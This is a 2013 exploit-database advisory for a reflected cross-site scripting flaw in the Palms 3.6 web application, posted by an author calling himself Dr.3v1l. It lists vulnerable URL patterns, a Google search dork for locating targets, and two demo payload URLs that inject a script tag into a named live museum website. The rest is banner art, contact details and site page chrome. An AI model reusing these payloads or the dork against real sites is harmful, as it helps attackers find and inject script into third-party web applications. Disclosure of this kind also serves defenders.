Palms 3.6 Cross Site Scripting

2013.09.03
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

######################################################################## # 1010101010101010101010101010101010101010101010101 # # 0 __ _ __ 0 # # 1 /'__`\ /' \/\ \ 1 # # 0 /\_\ \ \ __ __ /\_, \ \ \ 0 # # 1 \/_/_\_<_ /\ \ /\ \\/_/\ \ \ \ 1 # # 0 /\ \ \ \\ \ \_/ / \ \ \ \ \____ 0 # # 1 \ \____/ \ \___/ \ \_\ \_____\ 1 # # 0 \/___/ \/__/ \/_/\/_____/ 0 # # 1 1 # # 0 >> Dr.3v1l 0 # # 1 >> 0WebSecurity.IR 1 # # 0 0 # # 1 [+] E-Mail : B.Devils.B@gmail.com 1 # # 0 [+] Y! : Doctor.3v1l 0 # # 1 1 # # 0 ########################################### 0 # # 1 I'm 3v1l member from Black_Devils B0ys Team 1 # # 0 ########################################### 0 # # 1 1 # # 0101010101010101010101010101010101010101010101010 # ######################################################################## # # Exploit Title: Palms XSS Vulnerable # Date: 2013 31 August # Author: Hossein Hezami ( Dr.3v1l ) # Software Link: palms.sourceforge.net # Version: N/A # Category: webapps # Google Keywords: inurl:"/show.php?page=exhibit" # Tested on: Windows , Linux # ######################################################################## # # [~] Exploit : # # [TARGET]/show.php?page=exhibit&q=search^choice=AEOM^textfield=Mitsubishi&e=340[XSS] # [TARGET]/show.php?page=search&choice=AEOM&textfield=Mitsubishi[XSS] # ######################################################################## # # [~] Demo : # # http://www.museum-explorer.org.uk/show.php?page=exhibit&q=search^choice=AEOM^textfield=Mitsubishi&e=340"><script>alert(/Dr.3v1l/)</script> # http://www.museum-explorer.org.uk/show.php?page=search&choice=AEOM&textfield=Mitsubishi"><script>alert(/Dr.3v1l/)</script> # ######################################################################## # # [~] Note : # # This Is A Simple XSS # Found by Dr.3v1l # ######################################################################## # # [~] Contact Me : # # Teacher.3v1l@live.com # B.Devils.B@gmail.com # Twitter.com/Doctor_3v1l # IR.LinkedIN.com/in/Hossein3v1l # ########################################################################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top